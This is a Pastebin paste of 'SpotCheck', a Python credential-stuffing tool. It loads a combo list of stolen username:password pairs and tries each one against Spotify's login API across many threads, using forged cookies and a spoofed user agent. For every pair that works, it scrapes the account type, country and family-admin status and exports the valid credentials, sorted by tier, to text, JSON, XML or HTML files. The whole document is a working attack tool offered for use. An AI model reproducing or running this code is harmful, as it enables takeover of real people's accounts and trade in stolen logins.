Advertisement
Guest User

Untitled

a guest
Apr 17th, 2019
11,132
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 20.21 KB | None | 0 0
  1.  
  2.  
  3. class Output(object):
  4. def __init__(self, output_type, output_file):
  5.  
  6. self.good_types = ["txt", "json", "xml", "html"]
  7. self.type = output_type.lower()
  8. self.file = output_file
  9.  
  10. if not self.type in self.good_types:
  11. colors.error("Output type not avaible, exiting...")
  12. _exit(1)
  13.  
  14. def Save_html(self, accounts):
  15. """
  16. Output accounts (Working accounts and bad accounts) to a HTML file
  17. with information of the account.
  18. """
  19. try:
  20.  
  21. self.extension = ".html"
  22.  
  23. colors.info("Saving as HTML in {}{}".format(self.file, self.extension))
  24.  
  25. SpotifyFree = []
  26. SpotifyPremium = []
  27. PremiumFamily = []
  28. AdminPremiumFamily = []
  29. BadAccounts = []
  30.  
  31. for account in accounts:
  32. if account.get("account_login") == "error":
  33. BadAccounts.append({"Username": account["Username"], "Password": account["Password"]})
  34. else:
  35. if account.get("AccountType") == "Spotify Free":
  36. SpotifyFree.append({"Username": account["Username"], "Password": account["Password"],
  37. "Country": account["Country"]})
  38. elif account.get("AccountType") == "Spotify Premium":
  39. SpotifyPremium.append({"Username": account["Username"], "Password": account["Password"],
  40. "Country": account["Country"]})
  41. elif account.get("AccountType") == "Premium Family":
  42. if account.get("Admin"):
  43. AdminPremiumFamily.append({"Username": account["Username"], "Password": account["Password"],
  44. "Country": account["Country"]})
  45. else:
  46. PremiumFamily.append({"Username": account["Username"], "Password": account["Password"],
  47. "Country": account["Country"]})
  48.  
  49. html = "<html>\n<head>\n<title>SpotCheck HTML Result</title>\n</head>"
  50. html += "<div align='center'>\n"
  51.  
  52. html += "<h1>Spotify Free</h1>"
  53. html += "<table>\n<tr>\n<th>Username</th>\n<th>Password</th>\n<th>Country</th>\n</tr>\n"
  54.  
  55. for account in SpotifyFree:
  56. html += "<tr>\n<td>{}</td>\n<td>{}</td>\n<td>{}</td>\n</tr>\n".format(account["Username"],
  57. account["Password"],
  58. account["Country"])
  59.  
  60. html += "</table>\n<br>\n<br>"
  61.  
  62. html += "<h1>Spotify Premium</h1>"
  63. html += "<table>\n<tr>\n<th>Username</th>\n<th>Password</th>\n<th>Country</th>\n</tr>\n"
  64.  
  65. for account in SpotifyPremium:
  66. html += "<tr>\n<td>{}</td>\n<td>{}</td>\n<td>{}</td>\n</tr>\n".format(account["Username"],
  67. account["Password"],
  68. account["Country"])
  69.  
  70. html += "</table>\n<br>\n<br>"
  71.  
  72. html += "<h1>Premium Family</h1>"
  73. html += "<table>\n<tr>\n<th>Username</th>\n<th>Password</th>\n<th>Country</th>\n</tr>\n"
  74.  
  75. for account in PremiumFamily:
  76. html += "<tr>\n<td>{}</td>\n<td>{}</td>\n<td>{}</td>\n</tr>\n".format(account["Username"],
  77. account["Password"],
  78. account["Country"])
  79.  
  80. html += "</table>\n<br>\n<br>"
  81.  
  82. html += "<h1>Admin of Premium Family</h1>"
  83. html += "<table>\n<tr>\n<th>Username</th>\n<th>Password</th>\n<th>Country</th>\n</tr>\n"
  84.  
  85. for account in AdminPremiumFamily:
  86. html += "<tr>\n<td>{}</td>\n<td>{}</td>\n<td>{}</td>\n</tr>\n".format(account["Username"],
  87. account["Password"],
  88. account["Country"])
  89.  
  90. html += "</table>\n<br>\n<br>"
  91.  
  92. html += "<h1>Bad Accounts</h1>"
  93. html += "<table>\n<tr>\n<th>Username</th>\n<th>Password</th>\n</tr>\n"
  94.  
  95. for account in BadAccounts:
  96. html += "<tr>\n<td>{}</td>\n<td>{}</td>\n</tr>\n".format(account["Username"], account["Password"])
  97.  
  98. html += "</table>\n<br>\n<br>"
  99.  
  100. html += "<h3>Result generated by SpotCheck (www.github.com/MrSentex/SpotCheck)</h3>\n"
  101.  
  102. with open(self.file + self.extension, "w") as output_:
  103. output_.write(html)
  104. output_.close()
  105.  
  106. colors.correct("Done! All saved successfully")
  107.  
  108. except Exception as e:
  109. colors.error(str(e))
  110. _exit(1)
  111.  
  112. def Save_xml(self, accounts):
  113. """
  114. Output accounts (Working accounts and bad accounts) to a XML file
  115. with information of the account.
  116. """
  117. try:
  118.  
  119. self.extension = ".xml"
  120.  
  121. colors.info("Saving as XML in {}{}".format(self.file, self.extension))
  122.  
  123. Main = ET.Element("SpotCheck")
  124.  
  125. SpotifyFree = ET.SubElement(Main, 'SpotifyFree')
  126. SpotifyPremium = ET.SubElement(Main, 'SpotifyPremium')
  127. PremiumFamily = ET.SubElement(Main, 'PremiumFamily')
  128. AdminPremiumFamily = ET.SubElement(Main, 'AdminPremiumFamily')
  129. BadAccounts = ET.SubElement(Main, 'BadAccounts')
  130.  
  131. for account in accounts:
  132. if account.get("account_login") == "error":
  133. temp = ET.SubElement(BadAccounts, "account")
  134. temp.set("Username", account["Username"])
  135. temp.set("Password", account["Password"])
  136. else:
  137. if account.get("AccountType") == "Spotify Free":
  138. temp = ET.SubElement(SpotifyFree, "account")
  139. temp.set("Username", account["Username"])
  140. temp.set("Password", account["Password"])
  141. temp.set("Country", account["Country"])
  142. elif account.get("AccountType") == "Spotify Premium":
  143. temp = ET.SubElement(SpotifyPremium, "account")
  144. temp.set("Username", account["Username"])
  145. temp.set("Password", account["Password"])
  146. temp.set("Country", account["Country"])
  147. elif account.get("AccountType") == "Premium Family":
  148. if account.get("Admin"):
  149. temp = ET.SubElement(AdminPremiumFamily, "account")
  150. temp.set("Username", account["Username"])
  151. temp.set("Password", account["Password"])
  152. temp.set("Country", account["Country"])
  153. else:
  154. temp = ET.SubElement(PremiumFamily, "account")
  155. temp.set("Username", account["Username"])
  156. temp.set("Password", account["Password"])
  157. temp.set("Country", account["Country"])
  158. XML = ET.tostring(Main)
  159. with open(self.file + self.extension, "w") as output_:
  160. output_.write(XML)
  161. colors.correct("Done! All saved successfully")
  162. except Exception as e:
  163. colors.error(str(e))
  164. _exit(1)
  165.  
  166. def Save_json(self, accounts):
  167. """
  168. Ouput accounts (Working accounts and bad accounts) to a JSON file with
  169. information of the account.
  170. """
  171. try:
  172. self.extension = ".json"
  173.  
  174. colors.info("Saving as JSON in {}{}".format(self.file, self.extension))
  175.  
  176. json = {}
  177. json["Spotify Free"] = []
  178. json["Spotify Premium"] = []
  179. json["Premium Family"] = []
  180. json["Admin of Premium Family"] = []
  181. json["Bad Accounts"] = []
  182.  
  183. for account in accounts:
  184. if account.get("account_login") == "error":
  185. json["Bad Accounts"].append({"Username": account["Username"], "Password": account["Password"]})
  186. else:
  187. if account.get("AccountType") == "Spotify Free":
  188. json["Spotify Free"].append({"Username": account["Username"], "Password": account["Password"],
  189. "Country": account["Country"]})
  190. elif account.get("AccountType") == "Spotify Premium":
  191. json["Spotify Premium"].append(
  192. {"Username": account["Username"], "Password": account["Password"],
  193. "Country": account["Country"]})
  194. elif account.get("AccountType") == "Premium Family":
  195. if account["Admin"]:
  196. json["Admin of Premium Family"].append(
  197. {"Username": account["Username"], "Password": account["Password"],
  198. "Country": account["Country"]})
  199. else:
  200. json["Premium Family"].append(
  201. {"Username": account["Username"], "Password": account["Password"],
  202. "Country": account["Country"]})
  203. else:
  204. print(str(account))
  205. with open(self.file + self.extension, "w") as output_:
  206. dump(json, output_)
  207. output_.close()
  208. colors.correct("Done! All saved successfully")
  209. except Exception as e:
  210. colors.error(str(e))
  211. _exit(1)
  212.  
  213. def Save_txt(self, accounts):
  214. """
  215. Output only the working accounts to a TXT file with information
  216. of the account.
  217. """
  218.  
  219. self.extension = ".txt"
  220.  
  221. self.sep = "<--------Account-------->\n"
  222.  
  223. colors.info("Saving as TXT in {}{}".format(self.file, self.extension))
  224.  
  225. try:
  226. with open(self.file + self.extension, "a") as output_:
  227. for account in accounts:
  228. if account.get("account_login") == "success":
  229. if account.get("AccountType") != "Spotify Free":
  230. output_.write(self.sep)
  231. output_.write("Username: {}\n".format(account["Username"]))
  232. output_.write("Password: {}\n".format(account["Password"]))
  233. output_.write("As Combo: {}:{}\n".format(account["Username"], account["Password"]))
  234. output_.write("Account Type: {}\n".format(account["AccountType"]))
  235. output_.write("Country: {}\n".format(account["Country"]))
  236. output_.write("Admin: {}\n".format(account["Admin"]))
  237. output_.close()
  238. colors.correct("Done! All saved successfully")
  239. except Exception as e:
  240. colors.error(str(e))
  241. _exit(1)
  242.  
  243. def Save(self, accounts):
  244.  
  245. if self.type == "txt":
  246. self.Save_txt(accounts)
  247. elif self.type == "json":
  248. self.Save_json(accounts)
  249. elif self.type == "xml":
  250. self.Save_xml(accounts)
  251. elif self.type == "html":
  252. self.Save_html(accounts)
  253.  
  254.  
  255. class Spotify(object):
  256. def getCSRFtoken(self):
  257. while True:
  258. csrf_request = requests.get('https://accounts.spotify.com')
  259. if csrf_request.status_code == 200:
  260. break
  261. return csrf_request.cookies.get("csrf_token")
  262.  
  263. def getAccountInfo(self, Session, email, password):
  264. while True:
  265. response = Session.get('https://www.spotify.com/de/account/overview/')
  266. if response.status_code == 200:
  267. break
  268. data = response.text
  269.  
  270. parser = BeautifulSoup(data, "lxml")
  271.  
  272. account_type = parser.find("h3", attrs={"class": "product-name"}).text
  273. country = parser.find("p", attrs={"class": "form-control-static", "id": "card-profile-country"}).text
  274. admin = None
  275.  
  276. if account_type == "Premium Family":
  277. if len(parser.find_all("h3", attrs={"class": "product-name"})) == 2:
  278. admin = True
  279. else:
  280. admin = False
  281.  
  282. return {"account_login": "success", "Username": email, "Password": password, "AccountType": account_type,
  283. "Country": country, "Admin": admin}
  284.  
  285. def SpotifyCheck(self, email, password):
  286.  
  287. api_request = requests.Session()
  288.  
  289. csrf_token = self.getCSRFtoken()
  290.  
  291. cookies = {"fb_continue": "https%3A%2F%2Fwww.spotify.com%2Fid%2Faccount%2Foverview%2F",
  292. "sp_landing": "play.spotify.com%2F", "sp_landingref": "https%3A%2F%2Fwww.google.com%2F",
  293. "user_eligible": "0", "spot": "%7B%22t%22%3A1498061345%2C%22m%22%3A%22id%22%2C%22p%22%3Anull%7D",
  294. "sp_t": "ac1439ee6195be76711e73dc0f79f89", "sp_new": "1", "csrf_token": csrf_token,
  295. "__bon": "MHwwfC0zMjQyMjQ0ODl8LTEzNjE3NDI4NTM4fDF8MXwxfDE=", "remember": "false@false.com",
  296. "_ga": "GA1.2.153026989.1498061376", "_gid": "GA1.2.740264023.1498061376"}
  297. headers = {
  298. "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 8_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) FxiOS/1.0 Mobile/12F69 Safari/600.1.4",
  299. "Accept": "application/json, text/plain", "Content-Type": "application/x-www-form-urlencoded"}
  300. payload = {"remember": "false", "username": email, "password": password, "csrf_token": csrf_token}
  301.  
  302. response = api_request.post("https://accounts.spotify.com/api/login", data=payload, headers=headers,
  303. cookies=cookies)
  304.  
  305. try:
  306. if response.json().get("error"):
  307. return {"account_login": "error", "Username": email, "Password": password}
  308. except Exception:
  309. return {"account_login": "error", "Username": email, "Password": password}
  310.  
  311. return self.getAccountInfo(api_request, email, password)
  312.  
  313.  
  314. class colors:
  315. @staticmethod
  316. def info(msg):
  317. print("[" + Fore.BLUE + "#" + Fore.RESET + "] " + str(msg))
  318.  
  319. @staticmethod
  320. def correct(msg):
  321. print("[" + Fore.GREEN + "+" + Fore.RESET + "] " + str(msg))
  322.  
  323. @staticmethod
  324. def error(msg):
  325. print("[" + Fore.RED + "-" + Fore.RESET + "] " + str(msg))
  326.  
  327. @staticmethod
  328. def warning(msg):
  329. print("[" + Fore.YELLOW + "!" + Fore.RESET + "] " + str(msg))
  330.  
  331.  
  332. class Main(object):
  333. def __init__(self, list, output, threads, output_type, nothread):
  334.  
  335. if threads == None:
  336. threads = cpu_count()
  337. if output_type == None:
  338. output_type = "txt"
  339.  
  340. self.list = list
  341. self.output = output
  342. self.threads = threads
  343. self.output_type = output_type
  344. self.nothread = nothread
  345.  
  346. self.accounts_array = []
  347. self.results_array = []
  348.  
  349. def print_header(self):
  350. print(r"""
  351. ________ ________ ________ _________ ________ ___ ___ _______ ________ ___ __
  352. |\ ____\|\ __ \|\ __ \|\___ ___\\ ____\|\ \|\ \|\ ___ \ |\ ____\|\ \|\ \
  353. \ \ \___|\ \ \|\ \ \ \|\ \|___ \ \_\ \ \___|\ \ \\\ \ \ __/|\ \ \___|\ \ \/ /|_
  354. \ \_____ \ \ ____\ \ \\\ \ \ \ \ \ \ \ \ \ __ \ \ \_|/_\ \ \ \ \ ___ \
  355. \|____|\ \ \ \___|\ \ \\\ \ \ \ \ \ \ \____\ \ \ \ \ \ \_|\ \ \ \____\ \ \\ \ \
  356. ____\_\ \ \__\ \ \_______\ \ \__\ \ \_______\ \__\ \__\ \_______\ \_______\ \__\\ \__\
  357. |\_________\|__| \|_______| \|__| \|_______|\|__|\|__|\|_______|\|_______|\|__| \|__|
  358. \|_________|
  359.  
  360. By MrSentex | @fbi_sentex | www.github.com/MrSentex | www.gitlab.com/MrSentex | {}
  361. """.format(VERSION))
  362.  
  363. def clear(self):
  364. if name == "nt":
  365. system("cls")
  366. else:
  367. system("clear")
  368.  
  369. def load_list(self):
  370. colors.info("Reading combo file...")
  371. if not exists(self.list):
  372. colors.error("The combo don't exist")
  373. _exit(1)
  374. if not isfile(self.list):
  375. colors.error("The combo isn't a file")
  376. _exit(1)
  377. with open(self.list, "r") as list_file:
  378. lines = list_file.readlines()
  379. colors.warning("Loading " + str(len(lines)) + " accounts")
  380. for line in lines:
  381. line = line.replace('\n', '')
  382. account = line.split(":")
  383. if not len(account) == 2:
  384. continue
  385. self.accounts_array.append({"email": account[0], "password": account[1]})
  386. colors.correct(str(len(self.accounts_array)) + " accounts have been loaded succesfully\n")
  387.  
  388. def SpotCheck(self, account):
  389.  
  390. email = account["email"]
  391. password = account["password"]
  392.  
  393. while True:
  394. try:
  395. self.results_array.append(Spotify().SpotifyCheck(email, password))
  396. break
  397. except Exception:
  398. pass
  399.  
  400. def start_check(self):
  401.  
  402. self.clear()
  403. self.print_header()
  404. self.load_list()
  405.  
  406. Output_Manager = Output(self.output_type, self.output)
  407.  
  408. if not self.nothread:
  409.  
  410. colors.info("Starting with " + str(self.threads) + " threads\n")
  411.  
  412. pool = Pool(self.threads)
  413.  
  414. try:
  415. for _ in tqdm(pool.imap_unordered(self.SpotCheck, self.accounts_array), total=len(self.accounts_array),
  416. desc="Processing accounts"):
  417. pass
  418. except KeyboardInterrupt:
  419. print("\n")
  420. colors.error("Ctrl + C detected, exiting...\n")
  421. Output_Manager.Save(self.results_array)
  422. _exit(0)
  423.  
  424. else:
  425.  
  426. colors.info("Starting in the main process\n")
  427.  
  428. try:
  429. with tqdm(total=len(self.accounts_array), desc="Processing accounts") as pbar:
  430. for account in self.accounts_array:
  431. self.SpotCheck(account)
  432. pbar.update(1)
  433. except KeyboardInterrupt:
  434. print("\n")
  435. colors.error("Ctrl + C detected, exiting...\n")
  436. Output_Manager.Save(self.results_array)
  437. _exit(0)
  438.  
  439. print("")
  440. colors.correct("Process finished!\n")
  441.  
  442. Output_Manager.Save(self.results_array)
  443.  
  444.  
  445. parser = argparse.ArgumentParser()
  446. parser.add_argument("combo_list",
  447. help="The combo list is a list with users and passwords in a 'username:password' format.")
  448. parser.add_argument("output_file_name",
  449. help="Only the name of the file. The extension will be determined by the type of output selected.")
  450. parser.add_argument("--output_type", help="The output type can be: txt, json, xml and html (Default: txt).",
  451. action="store", type=str)
  452. parser.add_argument("--threads",
  453. help="Number of workers that SpotCheck uses (A very high number can cause an error in the program due to the limitations of your computer) (Default: {}).".format(
  454. cpu_count()), type=int, action="store")
  455. parser.add_argument("--nothreads",
  456. help="If this argument is specified, SpotCheck will not create any thread, otherwise the main SpotCheck process will perform the checks.",
  457. action="store_true", default=False)
  458.  
  459. args = parser.parse_args()
  460.  
  461. Main(args.combo_list, args.output_file_name, args.threads, args.output_type, args.nothreads).start_check()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement